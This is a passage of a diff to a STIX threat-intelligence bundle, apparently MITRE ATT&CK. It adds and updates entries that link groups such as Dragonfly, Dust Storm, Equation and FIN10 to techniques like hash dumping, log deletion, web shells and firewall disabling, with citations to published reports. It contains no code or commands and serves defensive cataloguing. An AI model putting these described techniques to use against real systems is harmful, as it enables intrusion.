+                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf"
+                },
+                {
+                    "source_name": "Symantec Dragonfly Sept 2017",
+                    "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--05076bd4-e4cb-4234-90ae-c7ce45feb41f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly has used PowerShell.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Dragonfly",
+                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
+                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf"
+                },
+                {
+                    "source_name": "Symantec Dragonfly Sept 2017",
+                    "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
+                },
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--e39b5b63-b29a-4322-9dca-8bca7dedf474",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly downloaded tools from a remote server after they were inside the victim network.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--b0db4b00-8716-430f-a9d8-29a878a12eac",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly deleted a file immediately after executing it on a victim host.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--570c8981-9a08-4c4f-8927-a22148bb880e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly created accounts that appeared to be tailored to each individual staging target.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--c2bd7b04-b090-478a-8e83-6b4656c14bb0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly disabled the host-based firewall on a victim and globally opened port 3389.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--5e4ec089-c86d-4684-9783-af348d4aaa14",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly used remote access services, including VPN and Outlook Web Access (OWA).",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--c74f0442-88c6-4f2b-abb1-c2f269a93d69",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly dropped and executed Hydra, a password cracker.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                },
+                {
+                    "source_name": "Kali Hydra",
+                    "description": "Kali. (2014, February 18). THC-Hydra. Retrieved November 2, 2017.",
+                    "url": "https://tools.kali.org/password-attacks/hydra"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--930175b1-0f2f-4f0b-99ad-13a4b304cc29",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly dropped and executed SecretsDump, a tool that dumps password hashes.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                },
+                {
+                    "source_name": "Core Security Impacket",
+                    "description": "Core Security. (n.d.). Impacket. Retrieved November 2, 2017.",
+                    "url": "https://www.coresecurity.com/corelabs-research/open-source-tools/impacket"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--39076217-a5bf-4b1b-b085-8dbf7ba92265",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly used various scripts for execution, and was observed installing Python 2.7 on a victim.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--89da3f24-b9dc-4c68-9240-228215e51bfc",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Accounts created by Dragonfly masqueraded as legitimate service accounts.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--596c4579-14ea-4c1f-9503-cf47693f18a8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly deleted system, security, terminal services, remote services, and audit logs from a victim.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--2fbcd38e-0ec9-4f2d-823b-3654f108f3a3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly used Web shells to maintain access to a victim network and download additional malicious files.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--25d96e8e-6893-4b90-82cc-253cbd499543",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly established encrypted connections over port 443.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--59b95288-b954-4118-9a88-8e2ad85a1265",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly leveraged Outlook Web Access.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--496e66ff-2c9f-454c-af36-49c7dc098493",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly used RDP to connect to additional victims.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--1e1b566b-152a-4778-a03f-0ce94b72c5f2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly identified and browsed file servers on the victim network, viewing files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--ba95a6e7-3235-4dcd-93eb-4eebc4d0aaec",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly has used a scheduled task to execute a malicious file.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--8c8cc494-628c-4540-b5ba-862cd937f94e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly has performed forced authentication to gather hashed user credentials over SMB using spearphishing attachments with external resource links and by modifying .LNK file icon resources to collect credentials from virtualized systems.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--d4968f45-d06b-4843-8f72-6e08beb94cab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
             "target_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
@@ -26892,7 +31461,7 @@
             "id": "relationship--fa9a8640-75e5-458c-99c0-e5e85aa32a77",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
             "target_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
@@ -26900,12 +31469,25 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--397e4a59-23b1-47ef-9a57-9f401375b2cb",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--86461465-cb29-4fc9-8fa8-8956c0f94536",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.065Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Dust Storm has encoded payloads with a single-byte XOR, both skipping the key itself and zeroing in an attempt to avoid exposing the key.",
             "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
@@ -26926,7 +31508,7 @@
             "id": "relationship--72cd5bab-20d9-4895-a6be-7d33f28d4b65",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.065Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Dust Storm has used Android backdoors capable of exfiltrating specific files directly from the infected devices.",
             "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
@@ -26947,7 +31529,7 @@
             "id": "relationship--b03aafb3-dc03-4e12-9354-69a579b60aaf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.065Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Dust Storm has used Android backdoors capable of enumerating specific files on the infected devices.",
             "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
@@ -26968,7 +31550,7 @@
             "id": "relationship--c8253944-3a69-42e6-b36a-1c3defbb088e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.065Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
             "target_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
@@ -26981,7 +31563,7 @@
             "id": "relationship--2092cbf8-4b5e-40e9-93dd-bfd8a71b4e8c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.065Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
             "target_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
@@ -26994,7 +31576,7 @@
             "id": "relationship--0ec4a49c-0adc-41fb-afc2-e99f1e7c5200",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.065Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
             "target_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
@@ -27007,7 +31589,7 @@
             "id": "relationship--4cb1c7b1-6efd-488c-857d-605ff8ca9ab5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.065Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
             "target_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
@@ -27020,7 +31602,7 @@
             "id": "relationship--51006a56-a1fa-4467-b930-6488de0d32bd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.055Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Equation group is known to have the capability to overwrite the firmware on hard drives from some manufacturers.",
             "source_ref": "intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9",
@@ -27041,7 +31623,7 @@
             "id": "relationship--062ebca3-abf7-449a-ad84-f04a3cada4dd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.055Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Equation contains functionality to search for specific information about the attached hard drive that could be used to identify and overwrite the firmware.",
             "source_ref": "intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9",
@@ -27062,7 +31644,7 @@
             "id": "relationship--a5888362-00f3-4c9e-98ee-048aee5169e1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN10 uses PowerShell for execution as well as PowerShell Empire to establish persistence.",
             "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
@@ -27088,7 +31670,7 @@
             "id": "relationship--8b3f374c-9f56-4493-8b85-72d0750d0c59",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN10 has established persistence by using S4U tasks as well as the Scheduled Task option in PowerShell Empire.",
             "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
@@ -27114,7 +31696,7 @@
             "id": "relationship--75b383eb-5483-4c44-a721-ee1cffa6edb7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN10 has established persistence by using the Registry option in PowerShell Empire to add a Run key.",
             "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
@@ -27140,7 +31722,7 @@
             "id": "relationship--4de4a09b-5727-4462-b288-23278e74634e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN10 has executed malicious .bat files containing PowerShell commands.",
             "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
@@ -27161,7 +31743,7 @@
             "id": "relationship--a48e7d01-012a-4336-9676-0f34e8501e22",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN10 has used RDP to move laterally to systems in the victim environment.",
             "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
@@ -27182,7 +31764,7 @@
             "id": "relationship--d3b787ec-795c-481b-94e5-ff42dc56d79d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN10 has used stolen credentials to connect remotely to victim networks using VPNs protected with only a single factor. The group has also moved laterally using the Local Administrator account.",
